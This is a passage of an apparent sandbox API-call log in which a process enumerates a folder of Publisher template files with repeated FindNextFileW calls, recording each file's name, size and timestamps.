nFileSizeHigh=0x0, nFileSizeLow=0xfb0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREETING.XML", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac75100, ftCreationTime.dwHighDateTime=0x1c976be, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfac75100, ftLastWriteTime.dwHighDateTime=0x1c976be, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADINGBB.DPV", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf392a100, ftCreationTime.dwHighDateTime=0x1c97a38, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf392a100, ftLastWriteTime.dwHighDateTime=0x1c97a38, nFileSizeHigh=0x0, nFileSizeLow=0x27e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADINGBB.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376aae00, ftCreationTime.dwHighDateTime=0x1c5dbbc, ftLastAccessTime.dwLowDateTime=0x61e6fe50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376aae00, ftLastWriteTime.dwHighDateTime=0x1c5dbbc, nFileSizeHigh=0x0, nFileSizeLow=0x3cbaf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE.DPV", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dc31f00, ftCreationTime.dwHighDateTime=0x1ca579a, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7dc31f00, ftLastWriteTime.dwHighDateTime=0x1ca579a, nFileSizeHigh=0x0, nFileSizeLow=0x49c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE.XML", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a8e100, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x61e6fe50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62a8e100, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xbc448, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE11.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db03900, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db03900, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x2a1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL.DPV", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc1b100, ftCreationTime.dwHighDateTime=0x1ca579a, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc1b100, ftLastWriteTime.dwHighDateTime=0x1ca579a, nFileSizeHigh=0x0, nFileSizeLow=0x48c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL.XML", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x650b3b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x650b3b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x27842, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL98.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x650b3b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x650b3b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x3464, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABELHM.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee16600, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ee16600, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x1f89d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LETTHEAD.DPV", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c11df00, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x5680a890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c11df00, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x309e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LETTHEAD.XML", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x650b3b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x650b3b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEACT.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663c6800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x663c6800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xb026, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGO98.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663c6800, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5825fbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x663c6800, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xa82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD11.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689ec200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x69659290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x689ec200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x2383c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD98.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689ec200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x696cb6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x689ec200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD98SP.POC", cAlternateFileName="")) returned 1 [0079.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689ec200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5825fbf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x689ec200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x9a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHDHM.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d6ff00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88d6ff00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x2694, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIN.XML", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689ec200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x689ec200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="MARQUEE.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d6c200, ftCreationTime.dwHighDateTime=0x1c61d74, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d6c200, ftLastWriteTime.dwHighDateTime=0x1c61d74, nFileSizeHigh=0x0, nFileSizeLow=0x14a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU.DPV", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f3a00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x912f3a00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x138a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU.XML", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c324900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c324900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU98.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e94a300, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a2661f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e94a300, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x208fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTHED98.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc5d000, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fc5d000, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1da0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBAR11.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f6fd00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70f6fd00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1ccde, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBARV.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f6fd00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70f6fd00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBRPH1.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f6fd00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70f6fd00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBRPH2.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31f43600, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31f43600, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x9965a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS.DPV", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3389e500, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x6a3e2fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3389e500, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x4260, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS.XML", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x781e0b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x781e0b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x87d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS11.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ea0200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a3e2fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4ea0200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x2dc320, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWS98.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aeb600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6a409110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9aeb600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x5166c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NEWSHM.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aeb600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9aeb600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x82e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORIG98.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd08900, ftCreationTime.dwHighDateTime=0x1c9a6bb, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bd08900, ftLastWriteTime.dwHighDateTime=0x1c9a6bb, nFileSizeHigh=0x0, nFileSizeLow=0x4eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICCAP98.POC", cAlternateFileName="")) returned 1 [0079.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b3ac900, ftCreationTime.dwHighDateTime=0x1c9900f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b3ac900, ftLastWriteTime.dwHighDateTime=0x1c9900f, nFileSizeHigh=0x0, nFileSizeLow=0x1eac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICSTYLES.DPV", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aeb600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9aeb600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTPH.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aeb600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9aeb600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1722, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNCTUATE.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9aeb600, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a555f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9aeb600, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xb9b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST98SP.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33646e00, ftCreationTime.dwHighDateTime=0x1c66432, ftLastAccessTime.dwLowDateTime=0x5a57c070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33646e00, ftLastWriteTime.dwHighDateTime=0x1c66432, nFileSizeHigh=0x0, nFileSizeLow=0xa194b, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTCARD.DPV", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dea000, ftCreationTime.dwHighDateTime=0x1ca579a, ftLastAccessTime.dwLowDateTime=0x5a57c070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9dea000, ftLastWriteTime.dwHighDateTime=0x1ca579a, nFileSizeHigh=0x0, nFileSizeLow=0x9a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTCARD.XML", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbadfe300, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbadfe300, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x2407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTCD11.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4694b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a57c070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4694b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xa84e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTCD98.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4694b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4694b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0xaf86, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROG98.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2143c000, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2143c000, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROGRAM.DPV", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02dcc00, ftCreationTime.dwHighDateTime=0x1c91700, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb02dcc00, ftLastWriteTime.dwHighDateTime=0x1c91700, nFileSizeHigh=0x0, nFileSizeLow=0x26c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROGRAM.XML", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4694b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4694b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x934, dwReserved0=0x0, dwReserved1=0x0, cFileName="PS10TARG.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4694b00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4694b00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PS2SWOOS.POC", cAlternateFileName="")) returned 1 [0079.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: 